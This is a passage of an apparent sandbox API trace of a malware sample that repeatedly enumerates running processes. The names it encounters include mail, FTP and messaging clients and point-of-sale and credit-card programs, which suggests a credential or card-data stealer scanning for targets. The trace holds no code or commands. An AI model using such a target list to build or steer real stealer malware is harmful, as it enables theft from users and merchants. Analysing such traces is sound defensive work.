cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0268.574] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0268.577] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0268.580] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0268.582] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0268.585] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0268.588] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0268.592] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0268.595] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0268.598] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0268.603] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0268.606] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0268.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0268.612] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0268.615] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0268.618] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0268.621] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0268.623] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0268.628] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0268.631] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0268.634] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0268.636] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0268.638] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0268.640] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0268.642] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0268.675] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0268.677] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0268.678] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0268.681] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0268.682] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0268.684] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.686] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0268.688] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0268.690] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0268.692] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0268.694] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0268.695] CloseHandle (hObject=0x2200) returned 1 [0268.695] Sleep (dwMilliseconds=0x64) [0268.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0268.710] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.712] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.714] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.715] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.717] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.719] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.721] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.722] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.724] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.726] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.727] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.729] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.731] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.732] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.734] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.736] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.738] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.739] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.741] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.743] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.745] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0268.746] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.748] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.749] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0268.751] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0268.753] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0268.754] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0268.756] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0268.758] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0268.759] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.761] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.763] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.765] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0268.766] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.767] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.769] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0268.771] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0268.773] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0268.775] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0268.777] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0268.778] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0268.814] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0268.825] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0268.829] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0268.832] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0268.835] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0268.837] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0268.840] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, 